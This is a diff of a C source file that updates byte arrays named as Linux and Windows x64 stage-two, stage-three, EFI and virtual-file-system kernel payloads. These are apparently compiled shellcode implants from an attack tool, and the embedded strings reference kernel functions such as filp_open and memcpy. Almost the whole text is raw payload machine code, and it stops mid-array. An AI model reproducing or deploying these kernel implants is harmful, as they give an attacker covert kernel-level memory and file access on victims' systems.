0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x17, 0xff, 0xff, + 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff, + 0xff, 0xff, 0x5a, 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b, + 0xc2, 0x5e, 0x5f, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28, + 0x48, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xc1, 0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83, + 0xc1, 0x10, 0x48, 0x89, 0x4a, 0x48, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, + 0xe6, 0x0c, 0x4c, 0x8b, 0x42, 0x40, 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, + 0x4c, 0x3b, 0xc7, 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, + 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x8b, 0xf2, 0x48, 0x8b, 0xd9, 0x33, 0xff, 0x48, 0x8b, - 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xd6, + 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xd9, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x30, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x8b, 0x4b, - 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x4b, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83, + 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x4e, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83, 0xc7, 0x08, 0x48, 0x83, 0xff, 0x10, 0x72, 0xc6, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x8d, 0x81, 0x00, 0x00, 0x20, 0x00, 0x48, 0x3b, 0xf8, 0x75, 0x16, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, 0x48, 0x89, 0x4b, 0x20, 0xe9, 0xa9, 0x00, 0x00, 0x00, 0x48, 0x85, 0xff, 0x75, 0x05, 0x48, 0x85, 0xc9, 0x74, 0x2b, 0x85, 0xf6, 0x75, 0x2b, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, - 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x59, 0xfe, 0xff, 0xff, + 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x5c, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, 0x33, 0xc0, 0xeb, 0x70, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x41, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x2c, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, - 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x17, 0xfe, + 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x1a, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, 0x48, 0x8b, 0xc6, 0xeb, 0x2d, 0x48, 0x8b, 0x54, 0x24, 0x38, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, - 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0xed, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, + 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0xf0, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x20, 0x00, 0x48, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0xb9, 0x00, 0x03, 0x00, - 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0x14, 0xfc, 0xff, 0xff, + 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0xd4, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x21, 0x48, 0x8b, 0x83, 0x50, 0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x0e, 0x48, 0x8b, 0x83, 0x60, 0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x33, 0xc9, 0x8d, @@ -552,48 +558,55 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8b, 0xd9, 0xe8, 0x57, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8, 0x01, 0x00, - 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x6c, 0x02, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0xcb, 0x41, 0x8b, 0xd4, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xf0, 0x48, - 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xd7, 0x48, 0x8b, 0x53, 0x20, 0x48, - 0x8b, 0x4b, 0x10, 0xe8, 0x35, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, 0xd0, 0x48, - 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0x89, 0x43, 0x28, 0xe8, 0xc6, - 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, - 0xb5, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, - 0xa5, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34, - 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x88, 0xfc, 0xff, - 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, - 0xc3, 0x48, 0x8b, 0x8b, 0x00, 0x03, 0x00, 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x67, 0xfc, - 0xff, 0xff, 0xeb, 0xb0, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, - 0x0f, 0x84, 0x79, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x48, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x3b, - 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x26, 0x48, 0x83, 0x27, 0x00, - 0x48, 0x8d, 0x05, 0xda, 0xfc, 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, - 0x83, 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0x1f, 0xfc, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, - 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xe8, 0x07, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, - 0x00, 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, - 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, - 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x3b, 0xc4, 0x74, 0x0a, 0x48, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0xa5, - 0x00, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8d, 0x05, 0x99, 0xfc, 0xff, 0xff, 0x48, 0x8b, - 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x48, 0x4c, 0x8b, 0x07, 0x4c, 0x8b, 0xcb, 0x49, - 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xa8, 0xfb, 0xff, - 0xff, 0x48, 0x8b, 0xe8, 0x49, 0x3b, 0xc4, 0x74, 0x6a, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0, - 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xe2, 0xfb, 0xff, 0xff, 0xeb, 0x0f, 0x4c, 0x8b, 0x07, - 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x7d, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, - 0x85, 0xc0, 0x74, 0x3f, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0, 0x48, 0x8b, - 0x53, 0x28, 0x4c, 0x8b, 0x0f, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, - 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0x50, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xed, 0x74, 0x0f, 0x48, 0x8b, - 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0xe8, 0x3c, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63, - 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, - 0x75, 0x1b, 0x4c, 0x8b, 0x0f, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, - 0x20, 0x03, 0x00, 0x00, 0xe8, 0x10, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb, - 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1b, 0x4c, 0x8b, 0x0f, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, - 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xeb, 0xfa, 0xff, 0xff, 0x4c, 0x89, - 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, 0x14, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x41, 0xb8, 0x0a, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x43, 0x30, 0x49, 0x8b, 0xd6, 0xe8, 0xbc, 0xfa, 0xff, 0xff, 0x48, 0x83, 0x63, - 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, - 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20, - 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, - 0xc3 + 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xe1, 0x02, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03, + 0x00, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x74, 0x1c, 0x48, 0x83, 0xbb, 0x80, 0x03, + 0x00, 0x00, 0x00, 0x74, 0x12, 0x48, 0x83, 0xbb, 0x70, 0x03, 0x00, 0x00, 0x00, 0x74, 0x08, 0x41, + 0x8b, 0xfc, 0x41, 0x8b, 0xec, 0xeb, 0x04, 0x33, 0xff, 0x33, 0xed, 0x41, 0x8b, 0xd4, 0x48, 0x8b, + 0xcb, 0xe8, 0xd2, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, + 0x00, 0x00, 0xf0, 0xeb, 0xad, 0x48, 0x8b, 0x53, 0x20, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x0e, 0xfd, + 0xff, 0xff, 0x48, 0x89, 0x43, 0x28, 0x85, 0xff, 0x75, 0x17, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, + 0xd0, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0xe8, 0x9b, 0xfc, 0xff, + 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, 0x8a, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x7a, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34, 0x48, 0x8b, + 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x5d, 0xfc, 0xff, 0xff, 0x48, + 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x48, + 0x8b, 0x8b, 0x00, 0x03, 0x00, 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x3c, 0xfc, 0xff, 0xff, + 0xeb, 0xb0, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, + 0xc0, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x3c, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, + 0x00, 0x48, 0x85, 0xc9, 0x74, 0x27, 0x48, 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0xb2, 0xfc, + 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, 0xc8, 0xff, 0x33, 0xd2, + 0xe8, 0xf7, 0xfb, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x48, 0x89, 0x4b, + 0x38, 0xe8, 0xdf, 0xfc, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x64, + 0x48, 0x85, 0xed, 0x74, 0x16, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x8b, 0x78, 0x03, 0x00, 0x00, 0xe8, 0xc1, 0xfb, 0xff, 0xff, 0x4c, 0x8d, 0x83, 0x20, 0x02, + 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c, + 0x89, 0x63, 0x38, 0x48, 0x85, 0xed, 0x74, 0x2c, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00, 0x00, 0xe8, 0x8e, 0xfb, 0xff, 0xff, 0x48, 0x8b, + 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x80, 0x03, 0x00, 0x00, 0xe8, + 0x78, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b, + 0xc4, 0x0f, 0x87, 0xa4, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x28, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, + 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x3a, 0xfb, + 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x49, 0x3b, 0xc4, 0x74, 0x6c, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, + 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b, + 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x0e, 0xfb, 0xff, 0xff, 0x48, 0x8b, + 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x40, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0, + 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20, + 0x03, 0x00, 0x00, 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0xe0, 0xfa, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, + 0x0f, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xcc, 0xfa, 0xff, 0xff, + 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, + 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, + 0x28, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x9f, 0xfa, 0xff, 0xff, 0x4c, 0x89, 0x63, + 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, + 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x79, + 0xfa, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, + 0xcd, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, + 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x49, 0x8b, 0xd6, 0xe8, 0x4a, 0xfa, + 0xff, 0xff, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, + 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, + 0x50, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, + 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0xc3 }; const BYTE LINUX_X64_STAGE2_EFI_BIN[] = { @@ -1353,205 +1366,208 @@ const BYTE WINX64_VFS_KSH[] = { }; const BYTE LINUX_X64_VFS_KSH[] = { - 0x37, 0x13, 0xec, 0x3c, 0x2d, 0xeb, 0x20, 0x05, 0xce, 0x86, 0x74, 0xe3, 0x5b, 0x5d, 0xb8, 0xf6, - 0x78, 0x03, 0x16, 0xff, 0x90, 0xf8, 0xcf, 0x13, 0xf1, 0x17, 0xf2, 0x20, 0xfc, 0x7f, 0xad, 0xda, - 0x3b, 0xa3, 0xd8, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x0c, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xfd, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, + 0x37, 0x13, 0xec, 0x3c, 0x2c, 0x82, 0xd4, 0x20, 0x62, 0x14, 0x82, 0x91, 0xea, 0x46, 0x29, 0xd9, + 0x95, 0xab, 0xd6, 0xff, 0xf1, 0xaa, 0xb5, 0xa1, 0x29, 0x02, 0x1d, 0x32, 0xec, 0xdc, 0xe8, 0x96, + 0xa2, 0xc6, 0xbf, 0x93, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x0c, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x39, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, - 0xe8, 0x13, 0x0b, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, - 0x41, 0x54, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d, - 0x8b, 0xe0, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x14, 0x2e, 0xe8, 0x22, 0x00, - 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x4b, 0x89, 0x04, 0x2c, 0x4d, 0x85, 0xed, 0x75, 0xe2, - 0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xeb, 0x03, 0x48, 0x33, 0xc0, 0x41, 0x5c, 0x41, 0x5d, 0x41, - 0x5e, 0x41, 0x5f, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, - 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, - 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, - 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x0d, 0xf1, 0xff, 0xff, 0xff, 0xc3, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, - 0xf0, 0x41, 0x51, 0x41, 0x50, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc9, 0x4c, 0x8b, 0xc2, 0x48, - 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x05, 0xcc, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x49, 0x8b, - 0xe7, 0x41, 0x5f, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0x48, 0x03, - 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48, - 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x48, 0x8d, 0xac, 0x24, 0x30, 0xff, 0xff, 0xff, - 0x48, 0x81, 0xec, 0xd0, 0x01, 0x00, 0x00, 0x33, 0xf6, 0xc7, 0x85, 0x00, 0x01, 0x00, 0x00, 0x6d, - 0x65, 0x6d, 0x63, 0x48, 0x8d, 0x85, 0x00, 0x01, 0x00, 0x00, 0x66, 0xc7, 0x85, 0x04, 0x01, 0x00, - 0x00, 0x70, 0x79, 0x48, 0x89, 0x45, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x85, 0x08, 0x01, 0x00, - 0x00, 0x40, 0x88, 0xb5, 0x06, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x38, 0x44, 0x8d, 0x4e, 0x07, - 0x48, 0x8d, 0x45, 0xa8, 0xc7, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6d, 0x65, 0x6d, 0x73, 0x48, 0x89, - 0x45, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x44, 0x24, 0x68, 0x48, 0x89, - 0x45, 0x48, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, 0x28, 0x66, 0xc7, 0x85, 0x0c, 0x01, 0x00, - 0x00, 0x65, 0x74, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8d, 0x55, 0x30, 0x48, 0x8d, 0x44, 0x24, 0x78, - 0x40, 0x88, 0xb5, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x58, 0x48, 0x8d, 0x85, 0xf0, 0x00, - 0x00, 0x00, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x45, 0xa8, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0xac, - 0x5f, 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xb0, 0x73, 0x65, 0x40, 0x88, 0x75, 0xb2, 0xc7, 0x44, - 0x24, 0x68, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x6c, 0x5f, 0x6f, 0x70, 0x65, 0x66, 0xc7, - 0x44, 0x24, 0x70, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x76, 0x66, 0x73, 